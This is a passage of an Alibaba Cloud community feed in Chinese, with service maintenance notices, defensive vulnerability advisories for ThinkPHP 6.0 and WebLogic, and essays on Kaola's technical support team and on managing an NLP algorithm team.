        升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。
        升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】2月消息队列AMQP升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口:

        北京时间2020年2月6日 00:00 - 06:00

        北京时间2020年2月10日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        阿里达摩院又火了!引入AI确诊肺炎提速16倍,仅需半小时! Fri, 02 May 2025 09:39:04 +0800 针对新型冠状病毒的确诊,全国大多数医院基本都采用核酸检测。果壳网发文称:从病人样本送到实验室即刻开始测试,到出检测报告,差不多需要8个小时。

        但是8个小时太长,在现在这种病毒传播速度下,让人焦急万分。
        但是就在最近,浙江省疾控中心、阿里巴巴达摩院、杰毅生物共同研发了一套全新检测平台,他们对算法增加了分布式设计,病毒基因分析的速度由数小时缩短到半小时!


        ]]>
        【升级】1月14日、16日DDoS高防(新BGP)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防(新BGP)】【升级通知】

        升级窗口:北京时间 2020年1月14日 00:00 - 06:00、1月16日 00:00 - 06:00

        升级内容:DDoS高防(新BGP)机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断5次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单联系反馈。

        ]]>
        【漏洞预警】ThinkPHP 6.0 任意文件操作漏洞 Fri, 02 May 2025 09:39:04 +0800

        2020年1月4日,阿里云应急响应中心监测到ThinkPHP6.0 任意文件操作漏洞。利用该漏洞可以创建或覆盖文件。


        漏洞描述

        ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。ThinkPHP 6.0中存在逻辑漏洞,在启用session的条件下,攻击者利用该漏洞可以创建或覆盖文件,从而造成 Web 应用拒绝服务,在特殊场景下可能造成getshell。阿里云应急响应中心提醒 ThinkPHP6.0 用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        ThinkPHP6.0.X < ThinkPHP6.0.2


        安全版本

        ThinkPHP6.0.X >= ThinkPHP6.0.2


        安全建议

        升级至安全版本。


        相关链接

        https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.01.15

        ]]>
        【漏洞预警】WebLogic高危漏洞预警(CVE-2020-2551、CVE-2020-2546) Fri, 02 May 2025 09:39:04 +0800

        2020年1月15日,阿里云应急响应中心监测到Oracle官方发布安全公告,披露WebLogic服务器存在多个高危漏洞,包括反序列化等。黑客利用漏洞可能可以远程获取WebLogic服务器权限,风险较大。


        漏洞描述

        CVE-2020-2551中,未经授权的攻击者可以利用Internet Inter-ORB Protocol(互联网内部对象请求代理协议)从而接管WebLogic服务器。

        CVE-2020-2546中,未经授权的攻击者则通过构造T3协议请求,绕过WebLoig的反序列化黑名单,从而接管WebLogic服务器。


        漏洞评级

        CVE-2020-2551:严重

        CVE-2020-2546:严重


        影响版本

        WebLogic 10.3.6.0.0

        WebLogic 12.1.3.0.0

        WebLogic 12.2.1.3.0

        WebLogic 12.2.1.4.0


        安全建议


        一、禁用T3协议

        如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响。

        1. 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。

        2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s。

        3. 保存生效(无需重启)。




        二、禁止启用IIOP

        登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效



        三、升级官方补丁


        相关链接

        https://www.oracle.com/security-alerts/cpujan2020.html



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.01.15

        ]]>
        考拉技术支持的前世今生 Fri, 02 May 2025 09:39:04 +0800 本文来自考拉海购技术支持中心负责人--书渊的分享,想和大家聊一聊考拉技术支持的前世今生,在这个发展历程的介绍当中,大家也可以此对考拉窥一斑而知全豹。当然,既然是聊我们的家常(“黑历史”),我会从这几年在考拉供应链产品事业部的视角去讲述(请轻拍~~),并且,也不会就很多过往事项留恋于细致的介绍,只讲下大面上的东西。

        技术支持的由来和定位

        技术支持由来

        其实电商公司或者说考拉这个 BG ,刚开始成立时是绝不可能就有技术支持这个岗位的。技术支持岗位诞生的前提往往有这么几个条件(满足其中1-2个即可):
        1、业务发展迅速,产品对应的业务规模需要得到迅速扩张;
        2、产品涉及客诉、咨询相对频繁,虽需要技术解决、解答,但是重复性高;
        3、产品研发的人力资源紧张;
        4、发展初期的业务、技术职责不清(自营电商躺枪的重灾区);
        5、工作内容可复制性高,可沉淀性少,日常太多技术工作是与业务或者各种第三方重复沟通,模式单一,但是每次问题不一(狭义来说不可穷举,广义来说可穷举)。

        以上这些原因,可能并不全,但是我想一定基本符合 80% 以上的电商环境下招聘技术支持来解决这些问题的初衷。因为,在电商环境下,产品和研发既要懂业务,又要不断沉淀自己的能力,如果频繁都在做技术咨询解决方案的工作,还有茫茫多的重复性对接工作,没有时间成长,并且,精力分散的情况下,这些技术咨询的应答时效,也是相当没有保证的。

        因此,技术支持团队的出现,刚开始其实是为了解决产品研发的效能问题和提高技术咨询的响应效率问题的。而且,产品研发专门负责让大团队高速运转,解决业务的核心痛点、做好核心需求,而技术支持则负责复杂而重复的业务、技术任务,并不断从中挖掘可以提高处理效能的点,可能只提思路,也可能想好了思路设计 PRD,交给研发去实现,当然甚至还自己研发一些功能。

        在产品研发和技术支持各司其职的情况下,产品和研发只需要专注于让团队快速支撑业务发展,不再分心于一些细枝末节的设计,即使某些环节的业务SOP并不十分清晰,也可以通过技术支持提供的技术咨询得到较快速的解决,即使业务流程阻断的,或者有新玩法未在原先需求中体现而需要快速支撑的,技术支持可以提供一些简单的解决方案完美过渡,即使部分功能需要小优化和改动的,技术支持会汇总整理成需求给到产品研发。

        总的来看,如下图所示,技术支持团队为产品研发团队支持电商业务“野蛮”增长提供了较为充足的柔韧性,因为很多 SOP 及对应的系统设计如果要达到面面俱到的地步,不是说完全不可能,但是会非常费功夫,而这些实际是不影响业务需求的主要达成目标的。

        1

        技术支持的“黑历史”

        前面说的可能相对枯燥了点,那就回归正题——回顾下“黑历史”!

        依稀还记得 16 年 1 月刚入职考拉的时候,整个团队内就十几个研发,当时就 2 个研发同学负责订单履行和跨境通关申报,每天既要做系统功能的迭代开发,还要不断开新仓,监控订单履行健康情况,最关键的每天要花半天时间解答和处理客服问题群里的订单长期未发货问题等等。我的到来,让他们特别喜出望外:终于可以安下心来做研发了!当然,那时的我们(技术支持),就两个人,一个主要负责订单履行(主要是申报和问题咨询、处理),一个主要负责仓库 WMS 系统对接、后台理论库存和 WMS 库存的核对以及一些各种和服务商接口、业务相关的问题(当时的第三方服务商的问题排查支持能力相对很弱,经常很多服务商产品设计问题或者使用问题也来找我们,后来慢慢的,我们新开的仓库越来越多,新开的口岸也越来越多,订单的咨询量也越来越多,库存的核对等工作开始变的多起来,刚开始纯靠人工解答、人工 Excel 核对的方式,已经没法满足了,而且手头的事情总是在滚雪球似的增加(因为前面大家也看到了,我们的支持内容,非常和业务运营相关,属于奋战在一线运营的角色,所以没人比我们更清楚细节流程,没人比我们更清楚产品产生的痛点,我们在解答问题的时候慢慢已经能够提供各种解决方案了),并且在极其碎片化的时间里,在客诉咨询解决方面,我们自行设计和搭建了一个订单异常问题自助查询工具,不但自动告知订单当前所处状态,还显示在履行平台上各个节点的时间信息,以及对应当前异常的建议处理方式;而在库存比对方面,团队内自行研发了库存比对功能,极大的提高了每月、半年、全年的库存盘点效率;在订单履行健康度方面,我们自行根据不同需要,也编写了各种自动生成监控报表的IM消息、邮件,甚至也有异常情况自动短信通知服务商处理的功能。

        不过,那时的我们,遇到的问题和挑战,远比上面列的多,可能每天会有非常多的和通关相关的税费不一致问题、撤单退税问题、溯源问题、申报合规问题等等,以及和仓库作业衔接相关的可能是订单发货的、订单打标的、包材的、称重重量的、取消异常的、发票的……等等,提货、采购、盘亏盘盈单据伴随的库存不一致问题、判责问题、价格问题、超卖问题、数量问题,还有一系列各种服务商系统、自营系统上的误操作问题……还有仓储物流系统的仓费运费对账、包材费核对、支付对账等等等等,还有追求创新的供应链管理业务同学、类目BU同学的各种新玩法支持。

        2017 年以后,考拉开始计划投产 WMS (泰坦)的研发,由于各种组织上的需要,让原先的供应链产品团队中的负责供应链上游及订单履行相关的子团队和当时负责仓配研发的子团队分开形成了两个不同的事业部——供应链产品部和仓配客产品部,为的是让各自更精益于各自擅长的领域,当然,依旧需要保持协同作战的 CP 关系。不过当时跟跨境关务相关的国际头程和港到仓入区、出区申报、账册等功能,就因为这个历史原因,被划分到了 2 个事业部,而当时对跨境产品较为资深的产品经理去到了仓配客产品部,供应链产品部之后再无对跨境模式非常资深的产品专家。历史也非常造化弄人, 17 年之后的几年时间里,跨境行业的变化及其迅速,几乎每小半年就有一个新政策,在此期间,我们的技术支持小团队(大概三四人)一次又一次承担了考拉跨境产品(主要是出区整个流程相关)的产品策划或者核心解决方案策划,成功的项目很多,比较重要的主要是拓展新的海关关区(每个关区流程很多是不一样的)、海关总署三单加签项目、 pop 商家申报合规项目、分销及多平台合规申报、关税对账平台,到后来的全链路监控平台、考拉跨境先知平台、商品备案中心、跨境额度库建设(代付、超限提前拦截等功能的底层载体)等等,还有很多为了解决、优化各种流程中的问题的小项目这里不再一一列举,而且,这只是在跨境这块的产品线上所取得的成绩,在其他领域我们也有不小建树。

        对我们来说,一直以来的团队成长和建设思路是——主动补位,不给自己设限。在业务眼中,我们需要成为一名全栈技术工程师,可以解决当前实际问题,可以聊需求和实现需求,可以提供数据分析,也可以当天就给他们实现一些小工具,还能帮他们去跟海关聊业务聊对接,也能帮他们去跟服务商撕逼优化他们产品,还能在操作失误时做好善后措施,当然,我们还有很多功能……

        特别值得“哔哔”的是,对自营电商体系来说,太多东西得自己兜着,而量变导致质变,比如下面的一个实际场景来对比菜鸟关务平台和考拉针对某个问题的处理方式:

        2

        类似上面这种情况的场景有很多,考拉依旧负重前行。

        之前我们和业务方沟通的过程中聊的,经常和产品出现职责不清晰的情况,不过这个我觉得本身不属于一个通用的放之四海皆准的一个案例,原则上我们只是做适当补位,不过确实当时真的太难招到一个对跨境十分资深的产品经理了,这是特殊场景之下产生的,并且我们拥有的资源也十分有限——能调动的资源少,还得干成事。但是,实际我们对自己的中心定位从来没有改变过。

        技术支持的定位

        其实前面说了那么多,大家应该有对我们有基本的了解了——什么样的技术团队,需要技术支持,那技术支持就需要深耕这一块产品技术所涉及的业务。而不管是在考拉也好还是阿里众多 BG、BU 也好,基本上大多是为对应的产品研发部门服务的,我们的核心目标就是帮助好产品研发一起,给业务部门提供最好的服务,帮助业务获得快速增长,不必畏首畏尾考虑太多细枝末节的东西,或者说投入产出比极不科学的东西,这些硬骨头,我们事后慢慢啃,逐步再改善,而这当中缺什么,我们就补什么。

        技术支持的发展方向

        之前没加入阿里之前,我们对团队内部的人员主要就是分三块:
        1、一线主要做重复性更高的客服咨询处理,简单系统运营,他们的主要指标是重复工作量和质量
        2、经一线过滤后的综合性较高的问题,由一线小组长 Cover ,并且小组长需要做一些业务沉淀和输出,整理知识库
        3、二线主要为我们的解决方案技术支持(虽然我们在考拉的组织架构里没有这样的区分,但是我们在团队内部确实有这样的定位和安排),主要接收业务的一些个性化需求(你懂得,啥都有),可能涉及产品、解决方案或者一些简单的开发支持等等。

        每条线的核心考察点或者任职要求在于:

        3

        后来跟新零售和蚂蚁金服这边的各位较资深的技术支持同学经过了不少沟通,发现其实咱们的定位几乎完全匹配!可以参考下蚂蚁这边对技术支持与保障和解决方案工程师这 2 个技术支持方向的定位。

        4
        5

        我很庆幸当时给团队中的同学定位,以及我们当时的老板给我们的成长空间,与阿里系的技术支持定位十分的一致和准确,即便是现如今,随着考拉技术支持的合并,也并不影响我们的这一初心,合并只是组织架构上和集团更容易步调一致的对标,避免各自为政的现象,但是我们的核心 KPI 依旧需要和各个所服务的业务产技团队保持一致,工作重心没有发生根本性变化,只不过融入大阿里后,技术支持需要和产品研发、测试一起,对产品的质量严要求、高标准,作为价值观一样的存在,留在脑海里,但这不代表我们的主要工作是抓安全生产:

        6

        目标具体解释:
        1、两个核心:奥大制定的以用户体验作为新形势下考拉事业部的唯一KPI,以及范禹强调的保证考拉“安全生产”这两点核心,将是每一个技术支持工程师需要贯彻到脑海里的理念,并作为在日常工作中单独需要升级的一条主线。
        2、两手抓:一手抓业务硬核:技术支持既需要在日常的工作中不断去主动理解工作相关的业务(这其中包括业务现状、业务痛点、业务改善方向以及当前的业务变更里程碑),成为业务的好伙伴。

        一手抓技术硬核:技术支持也需要在日常的工作中不断提升自己的产品思路和技术解决能力,成为产技的好伙伴。

        团队发展及人员成长

        在跟考拉前台技术支持组合并前,我们在为考拉供应链产品、跨境关务平台、订单履行中心、商品及库存中心等几个供应链相对核心的领域服务期间,学到了很多交易、跨境以及物流供应链相关的内容,我们团队的业务能力、产品设计能力以及研发能力在这期间也得到了很多锻炼,每一个成员都在忙碌的工作中乐此不疲,至少没有彷徨过,因为我们把路子走广了,没有脱离实际。从我们的团队里也曾走出去过开发、测试、产品,只不过在工作的过程中,发现他们有了新的目标,但是技能都是在这期间得到锻炼的。

        过往的缺陷与不足

        其实作为一线技术支持来说,一套好的工单系统和知识库平台非常重要,以往我们在网易的时候,太多的沟通方式为拉群沟通和私下沟通,虽然也有简单的工单系统,但是问题点很多:
        1、问题分类不科学且无对标
        2、问题对应的处理(服务)时效(SLA)没有对焦
        3、没有明确的工作流概念,全靠人工升级和转派, backup 对象也靠人工联系

        客服的工单系统和技术支持的工单系统,各自为政,客服按自己的理解对各自异常进行了归类,然后遇到这些类别的问题会线下咨询技术支持,技术支持没有很好的问题统计沉淀,也没有很好的工作流,并且处理时效存在很多 GAP ,客服对客户的承诺处理时效和技术支持实际心里理解的问题处理时效完全不对标,导致无谓的问题重复反馈催处理——当然,这个问题主要困扰前台技术支持多一些,原先的我们在供应链时所遇到的问题往往都要棘手的多,大家对时效有较为”宽泛”的预期,在后台供应链里,我们对工单不敏感,但是对每个问题所涉及的业务方,其实是缺少很好的 SOP 以及这些 SOP 对应的小二处理平台。

        除了工单系统和小二处理平台以外,我们还经常遇到缺少数据抓手,太多的情形下,业务开发在设计的时候基本只考虑业务实现,但是对技术支持在其中所产生的有益作用(比如异常处理的介入等等)并没有进行合理的埋点,这在我们的每一次季度总结中比较受伤,虽然自己也通过很多手段近似的用脚本去做了这样的统计工作,但是总体来说,效果并不是很理想,至少还难成体系。

        不过,加入阿里怀抱后,看到了很多的工具,虽然很多工具我们还没法完全接入,但是至少让我们看到了很多的曙光,我对未来还是期待的。

        翻开新篇章

        合并后的首要事项,当然是需要做人员的调整和支持内容的融合,因为原先做自营供应链和平台供应链就有存在着不少共性,做供应商直发和做 pop 商家开放平台也存在不少共性,商家商品、库存与自营商品、库存也存在诸多共性,自营履约和 pop 商家履约也是。这是需要做一番最初的整合的(当然,需要假设考拉未来的产品规划依旧保持现状的前提下,未来还是会有诸多调整的,等着拥抱变化,这样带来的好处,一个是让有工作有业务共性的技术支持能够互相帮助互通有无,也让这些同学能在新环境下让自己视野更广阔,了解更多的行业业务背景。

        还有就是,可以让我们的团队在考拉更多部门得到更多发声的机会,更多的解决当前的核心痛点,从而让团队得到更良性的发展同时,更好的服务于产技业务团队。

        接下来在我们的规划里,一个就是工具的升级引入、流程的制定、服务时效的确认,以及推进小二工具整合(规划中,这个短期来看需要等融合完成后进行了),大致如下所示(这里省略了非客服的业务方提出常规问题和业务问题解决的需求给一二线的场景,红色虚线为我们未来规划里想提的内容):

        7

        我们一起期待下融合后的小二工作台搭建吧。

        作者信息:书渊,考拉海购技术支持中心负责人,多年供应链产品及跨境关务业务解决方案经验,现主要参与考拉交易、库存、商品、订单履约、跨境关务等多个平台的技术咨询以及“考拉融阿”的技术支持体系改革等工作。

        ]]>
        阿里巴巴高级算法专家威视:组建技术团队的一些思考 Fri, 02 May 2025 09:39:04 +0800 本文是我从2019年1月底接手CRO线NLP算法团队以来,在团队组建、能力建设、以及管理上的一些思考,全部是没有科学论证的主观判断,不过都进行了实践。我没有任何管理学背景知识,把拙见没羞没臊地写出来,是为了抛砖引玉,和同学们交流讨论。

        团队的定位是什么?——做正确的事

        定位

        团队的定位是重要的事情之一,有了偏差,后续做得越多错得越多。确定团队的定位花了我很长时间,中间还发生了一次组织变化,和两任主管有多次讨论。
        首先,这个团队配置在CRO线,肯定要为风险管理业务服务;同时,这又是一支能力团队,还要考虑和业务团队的协同关系。最终,我确定了3点:
        1)能力建设为主,同时也需要有业务抓手
        2)不做业务团队已经做得好的事情
        3)立志高远,勇攀高峰,要做就做到最好

        壁垒与价值

        不夸张地说,现在是NLP领域的大航海时代,新算法层出不穷,日新月异,后浪各种把前浪碾死在沙滩上。尤其是BERT横空出世之后,整个NLP的研究范式都发生了变化,从原来的 task-specific的模型结构设计 转变到 语言模型pretrain+下游任务finetuning的模式,预训练模型是含金量高的工作。研究一下预训练模型,你会发现这是个需要海量金钱+数据+技术才能玩的游戏。
        这就陷入两难:如果搞预训练模型,没那么多资源;如果不搞,用开源模型做下游任务,实际上很难有什么技术壁垒。其实就算你真的搞出什么新算法可以充当技术壁垒,可能两三个月之后就又有人做出了更强的结果。
        困境的根源在于,目前NLP算法这个领域发展速度太快了,在高速变化的领域是很难形成壁垒的。所以,我们需要结合自身所处的环境,寻找变化不那么快的东西。
        我经过好多天的考虑之后,认为沉淀风险管控知识可以作为壁垒。原因:1)风险知识随时间有变化,但速度明显比算法慢很多;2)CRO线在这方面有一定积累,也需要用于实际业务管控,并沉淀到产品。
        所以,团队的宗旨我定义为:基于知识驱动的NLP算法团队。为CRO线乃至集团沉淀风险知识,并提供不同层次的服务:
        1
        图-4层服务体系

        最近,CRO线在清华举办了AI与安全研讨会,会上张钹院士谈到了第三代人工智能,尤其强调了其中知识的核心作用;我们走访中科院信工所,对方的宗旨也是建设基于知识驱动的算法,和业界发生的共鸣,更坚定了我们走这条道路的决心和信心。

        团队需要什么能力?

        先要搞清楚团队所处的环境。

        阿里是一个什么结构的组织?

        有人说是矩阵式的,有人说是树+网状的,我不知道确切的答案。不过,如果把每个小团队看作节点的话,有2点是确定的:
        1)体量巨大,各种节点(业务、产品、工程、算法)种类繁多数量大。
        2)单元节点 之间比较容易发生跨大团队甚至跨BU的联系,条件合适可以发生协同关系。
        继续观察,你会发现:
        1)你所需要的一切资源几乎都能找到提供者,而且往往不止一个。
        2)你也可以给各种需求节点 提供服务,只要还在你的能力范围内。
        3)由于规模巨大,需求节点 和 资源节点 相互之间往往不知道对方在哪。
        基于以上,我认为一个身处中台的算法团队,需要具备4项能力:连接-生产-传播-服务。
        2
        图-能力中台的算法团队需要具备的能力

        四项能力

        1,连接
        就是寻找到自己所需要的资源,筛选出其中最优的,建立长期稳定的合作关系。比如算法团队需要的爬虫、标注工具、分布式模型训练工具、模型的评测工具等,都能在公司范围内获取,就没必要刀耕火种从头开始自己建设了。
        2,生产
        这是传统意义上算法工程师的工作,指获取数据后产出效果和效率达标的算法模型,并上线。
        对算法的要求,主管的主管早有论述:算法要全!算法要强!算法要快!算法要便宜!精炼简洁,振聋发聩,细化一下就有:
        3
        图-对算法的要求
        3,传播
        针对中台的算法团队提的要求,因为你需要让目标业务节点知道你的存在,知道你的能力项,以及细节。ATA是个不错的对内传播途径,之前在CV团队时,很多业务方是通过ATA找到我的。
        4,服务
        如果是专属某业务的算法团队,只需要考虑该业务下的SLA即可;如果是中台的算法团队,还需要考虑如何满足不同业务节点的需求,同时又不至于做开发和维护成本很高的个性化定制,避免随着接入业务的增长各种资源的开销也随着线性增长。

        能力雷达图

        团队的能力雷达图是由成员的个人能力长板组成的。(话越短意思越长)
        4
        图-团队能力雷达图

        组织与个人的关系

        为什么需要一个组织呢?

        先从一个现象出发:在小区业主和物业公司的纠纷斗争中,业主获胜的概率很低。从人数、个体的教育背景和素质来看,业主都占据绝对优势,可是为什么会输?
        粗略分析,大体有三个原因:
        1)共同利益,目标明确。物业的目标非常清晰,就是为了从业主那里赚钱,这也是物业人员的共同利益。业主人多,情况各有不同,各自的利益诉求差异大,容易被分化。
        2)组织严密,相互协同。物业内部有明确的分工,平时也长期一起工作,相互间有信任感,能够进行配合。业主彼此之间往往是陌生人,缺乏信任感,难以统一行动,是原子化的散点。
        3)局部相对优势。相对单个业主,物业具有明显力量优势。比如,物业有资金,而业主因为缺乏信任很难筹措资金。
        好,看出来了,小规模组织的力量可以超过大规模原子化散点存在的个体集合的力量。

        组织为个人提供什么?

        1)组织能使资源增效
        组织能把各种资源组合成有机的整体,使各种分散的力量形成合力,从而产生大于这些资源和力量机械总和的效能。这个原理2000多年前亚里斯多德就论述过了,后来马克思又更严密地论述过一次。
        2)组织是实现目标的依托
        个人可以依托组织的能力和资源去做事,而组织的能力和资源远大于个人,所以依托组织的时候,个人能够实现比单打独斗模式大得多的目标。
        举个例子,我们团队做了UGC场景效果超越开源模型的预训练模型,每个同学都可以在这个预训练模型的基础上去做下游的有监督学习任务,起点就比别人高。

        个人为组织提供什么?

        是否有短板不是那么重要,关键是要有长板,能够对组织的能力雷达图做贡献。
        这一节留一个思考题:公司设置主管这个职位的目的是什么?是为了像幼儿园阿姨那样,保障每一个小朋友都有自己喜欢的玩具,高高兴兴上学来,平平安安回家去?

        招聘团队需要的人才

        招聘为什么特别重要?

        世界有个普遍规律:在前序阶段做严格的控制会大大降低后序阶段的实现难度,比如数据标注、写代码、模型中的预处理等等。人招进来之后是要用要管的,招聘的时候高标准严要求,后续管理会轻松很多;如果降低标准甚至放水,后续管理付出的代价远远高于招聘时偷懒省的功夫。
        所以,我花了至少1/3的时间在招聘上。对的,至少1/3,你没有看错。从2019年2月到现在,社招弄了300+份简历;校招100+份简历。在这里特别要感谢团队里球夫、天逸、开阳3位同学,牺牲了大量业余时间做简历评估和初面。从统计数据看,每100份简历产生2-3个offer,入职1-2个人。从100份简历中招来的人绝对比10份简历中招来的省心很多。
        我给算法团队找来过不少人,both 社招 and 校招,具体的展开讨论见彩蛋部分的【招聘】

        招聘要考察哪些能力?

        招聘,首先要确定job model。限于篇幅,这里只讨论“生产”环节所需要的能力。
        所处的时代背景:快速变化,新算法层出不穷。
        不变的是什么:数学基础、计算机基础、动手能力。
        我们很难预测新技术的具体实现,但是当新技术出现的时候,需要能够快速地分析、学习、掌握。而且,我们经常要解决从来没有遇到过的新问题,这就要求候选人在面对没见过的问题时具备分析判断,在具体约束条件下找完整解决方案的能力。另外,在复杂的业务场景里,问题经常没有确定性的答案,我们往往通过对过程的合理性来判断整个方案是否合乎要求。寻找答案的过程很少有一帆风顺的,大概率会遭遇挫折,非常需要候选人不断尝试不断修正去抵达终点。
        至于教育背景、之前从业经历,反而不怎么重要。我不赞成对于毕业好几年的社招候选人还要参考毕业学校、最高学位,甚至本科学校是否985——如果一个人能力强,是不需要靠学校学位来旁证的,直接用行动证明就行了。
        对于候选人的考察,我往往从基础的硬技能、创新性/开放性思维、精神素质三方面考察。

        硬技能

        数学:概率论与数理统计、矩阵论、随机过程
        计算机基础:操作系统、组成原理、数据结构
        算法能力:领域内主流模型的演进,优缺点对比;在具体设定的场景下选择合适的方案
        动手:C++/python/Java (什么?你说matlab?工业界里这个不算编程语言)
        有人说,面试过程中要求做代码测试,就像相亲时要求看存款证明一样残暴。我赞同这个说法,因为不少候选人听到要写代码就高傲地拒绝了。我给大家推荐一个在线代码测试工具:http://collabedit.com
        从我长期的观察情况看,发展得好的算法同学,动手能力都比较强。毕竟,算法工程师,首先是一个工程师。

        创新性/开放性思维

        其实我还经常干比代码测试更令人发指的事情——做智力题。这个不是我的创新,是跟google等公司学来的,而且是直接找网上流传的面试题换个马甲来用。
        前面的硬技能,看的往往是结果;这里对思考能力的考察,看的是过程:是否有方法论,思路是否清晰,是否言之有据。所以,这种问题的面试方式往往是讨论式。如果候选人能够完成,最后再请TA做个总结,观察归纳要点的能力,视线的高度。有些候选人结束面试后仍然会继续思考,给出更好的回答。

        精神素质

        公司对人才的要求是:乐观、皮实、聪明、自省。
        你看,4个词里面有2个都在强调坚韧不拔。在面试过程中,我会看候选人在解题不顺时的表现,有时甚至故意小刺激一下观察候选人的反应,偶尔还会故意中途改变限制条件。阿里内部竞争激烈,经常需要拥抱变化,如果心理承受力脆弱,是不适合当同路人的。
        还有一点很重要:自我驱动力。这是从降低对内管理成本来要求的,后面会具体说。
        在我看来,硬技能、创新性/开放性思维和精神素质 缺一不可。即使这三方面我都满意了,如果主管,主管的主管,HR对候选人明确提出疑虑,我一般不申辩直接放弃掉。因为,他们比我level高,阅人无数,往往不会错。
        有的同学会问:这样子做,会不会错失优秀人才?是的,我的方式几乎可以确保招进来的同学肯定是好的,但会漏掉一些优秀的候选人,不过这不会造成严重的后果。相比之下,招进来不合格的人才会有大麻烦。

        用人

        主管的角色是什么?

        以前有句话,叫做“火车跑得快,全靠车头带”,这说的是前动车时代。动车和高铁为什么比传统的火车速度更快?根本原因是:大多数车厢都能提供动力。
        同样的,如果一个团队完全靠主管来驱动,来提供动力,主管很容易成为团队的瓶颈。我的团队成员,很多都是自己领域的高手,专业能力在我之上,我就应该顺应实际情况,不要拿自己的愚见去束缚同学们的发挥。因此,我的角色更多的是眺望远方,掌握方向盘,有时踩一下刹车;团队大多数同学一起构成动力引擎。
        5
        图-动车/高铁跑得快,是因为大多数车厢都提供动力

        对内管理模式

        一个不恰当的比喻:放羊。
        这么做,堂而皇之的理由是“因为信任,所以简单”。技术层面的原因,对算法类同学做过程管理性价比太低。
        算法类工作,创造性在其中占据重要地位,而创造性很难在过程中量化度量,也很难从外部观测现象来判断。比如:身边的同学坐在工位直视屏幕目不转睛,我不知道他到底是在思考论文中的公式 还是在回味昨天晚上看的电影。再比如,我base在杭州,没办法知道团队内base北京的同学是不是在工作时间打游戏。
        所以,我选择信任我的同学,只在一些必须监管的事项上把关,比如数据安全、安全生产等,其他事项一般不做过程管理,只做结果管理。得益于招聘时把关严格,绝大多数同学的自我驱动力都比较强,我并不用操心偷懒的事情;相反,偶尔需要操心一下少部分同学拚过了头的问题。关于这一点,更多的内容见彩蛋中的【认真工作,快乐生活】。
        肯定有同学问:上面说的是不担心出工不出力,那么,怎么出力的问题呢?你难道不指导同学做项目吗?
        我一般只给出项目的目标,有时给一个粗略的方案设想,有时不给。公司对于P6同学已经有“独当一面拿结果” 的要求,大家都应该具备独立作战的能力。而且,按照前面说的,团队内大部分同学都应该是提供动力的车厢,没必要依赖我。人是否有自我意志?这个问题我不知道答案。但我知道,如果一个人认为主意是自己想出来的,决定是自己做的,会更有动力去实现。尝试做决策,尝试完成不确定的任务,都有利于自己的成长。
        思考题:管理有很多种style。有的主管喜欢自己做需求分析,然后拆解细化到原子级的技术问题,让下属做执行。这种模式,和“放羊”模式相比,从主管视角,以及下属视角看,各有什么优缺点?
        综合以上两点,我觉得放羊是可行的。而且,放羊这件事,羊倌也是要做很多工作的:选择合适的天气,找到草地,把羊群带到草地,放哨保护羊群,是不是?如果还要把青草割好喂给羊吃,那成什么了?
        羊倌应该把更多的精力花在 寻找丰美的草地,购买强壮的羊,与其他羊倌交流 这些事情上,要是成天忙于喂羊,督促偷懒的羊快点吃草,拉开打架的羊 这些内部事务,羊群怎么发展壮大?更多的展开见彩蛋中的【因为信任,所以简单】。
        鼓舞团队信心,最好的方式是什么?
        痛痛快快地赢一次。如果不够,就两次。
        接手团队的时候,在商业化方向上局势是很差的:去年三次PK竞品都输了,稳定性问题频发以至于新版本都无法发布……团队好几个人都扑在这一个阵地上干得很苦但就是拿不到结果。
        这个时候我要是去发表个类似《至暗时刻》里丘吉尔那样让人热血沸腾的演讲是否可以解决问题?可能有短暂的强心剂作用,但是不长久,因为实际困难没解决。何况,我也肯定不具备丘吉尔的演说能力。最有用的办法,还是分析失败的原因,制定正确的打法,指导同学们获得一次成功。鼓舞信心最好的方式还是靠实实在在的成功。
        结果大家都看到了,今年我们PK竞品的战绩是N:0,付费调用量上涨25倍以上。大家肯定好奇:正确的打法是什么样的呢?我放在后面《正确地做事》那一节讲。

        做有吸引力的事情

